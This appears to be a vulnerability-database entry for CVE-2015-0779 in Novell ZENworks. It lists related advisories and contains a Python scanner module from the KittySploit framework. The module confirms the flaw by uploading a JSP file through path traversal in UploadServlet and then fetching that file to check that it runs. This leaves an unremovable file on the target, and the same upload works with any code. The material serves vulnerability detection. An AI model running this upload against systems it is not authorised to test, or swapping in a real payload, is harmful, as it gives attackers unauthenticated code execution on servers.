ZENworks - UploadServlet RCE Detection (CVE-2015-0779)
| Reporter | Title | Published | Views | Family All 23 |
|---|---|---|---|---|
| Novell ZenWorks Configuration Management 11.3.1 Code Execution / Traversal Vulnerabilities | 8 Apr 201500:00 | – | zdt | |
| Novell ZENworks Configuration Management Arbitrary File Upload Exploit | 8 May 201500:00 | – | zdt | |
| ZENworks Configuration Management Code Execution | 19 Jun 201500:00 | – | bdu_fstec | |
| CVE-2015-0779 | 8 Apr 201500:00 | – | circl | |
| Novell ZenWorks Configuration Management Remote Code Execution Vulnerability | 12 Apr 201500:00 | – | cnvd | |
| Novell ZENworks Configuration Management UploadServlet Directory Traversal (CVE-2015-0779) | 29 Apr 201500:00 | – | checkpoint_advisories | |
| CVE-2015-0779 | 7 Jun 201523:00 | – | cve | |
| CVE-2015-0779 | 7 Jun 201523:00 | – | cvelist | |
| Novell ZENworks Configuration Management UploadServlet File Upload | 30 Apr 201500:00 | – | dsquare | |
| Novell ZENworks Configuration Management 11.3.1 - Remote Code Execution | 8 Apr 201500:00 | – | exploitdb |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Novell ZENworks UploadServlet arbitrary JSP upload (CVE-2015-0779)."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'ZENworks - UploadServlet RCE Detection (CVE-2015-0779)',
'description': (
'Detects CVE-2015-0779 by uploading a JSP via UploadServlet path traversal '
'into zenworks/jsp/core/upload and verifying execution.'
),
'author': ['KittySploit Team'],
'severity': 'critical',
'tags': [
'web', 'scanner', 'cve', 'cve2015', 'zenworks', 'novell', 'upload', 'rce', 'unauth', 'vuln',
],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 4,
'reversible': False,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.2,
'noise': 0.5,
'value': 1.0,
'requires': {
'min_endpoints': 0, 'min_params': 0,
'tech_hints_any': [], 'tech_hints_all': [],
'specializations_any': [], 'risk_signals_any': [],
'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
'confidence_min': {}, 'confidence_min_any': {},
'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [{'capability': 'rce', 'from_detail': ''}],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': [
'https://nvd.nist.gov/vuln/detail/CVE-2015-0779',
],
'cve': 'CVE-2015-0779',
}
def run(self):
for base in ('', '/zenworks'):
probe = self.http_request(method='GET', path=f'{base}/UploadServlet', allow_redirects=False)
if not probe or 'ZENworks File Upload' not in (probe.text or ''):
continue
token = self.random_text(6)
marker = f'ks_{token}'
jsp = f'<%out.print("{marker}");%>'
fname = f'ks_{token}_cve_2015_0779.jsc'
for trav in (
'../../../opt/novell/zenworks/share/tomcat/webapps/',
'../webapps/',
):
up = f'{base}/UploadServlet?uid={trav}zenworks/jsp/core/upload&filename={fname}'
r = self.http_request(
method='POST',
path=up,
data=jsp,
headers={'Content-Type': 'application/octet-stream'},
allow_redirects=False,
)
if not r or '<status>success</status>' not in (r.text or ''):
continue
g = self.http_request(
method='GET',
path=f'/zenworks/jsp/core/upload/{fname}',
allow_redirects=False,
)
if g and marker in (g.text or ''):
self.set_info(
severity='critical',
reason='ZENworks UploadServlet RCE (CVE-2015-0779)',
path=f'{base}/UploadServlet',
)
return True
return False
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10 Aug 2026 06:19Current
5.9Medium risk
Vulners AI Score5.9
CVSS 210
EPSS0.74366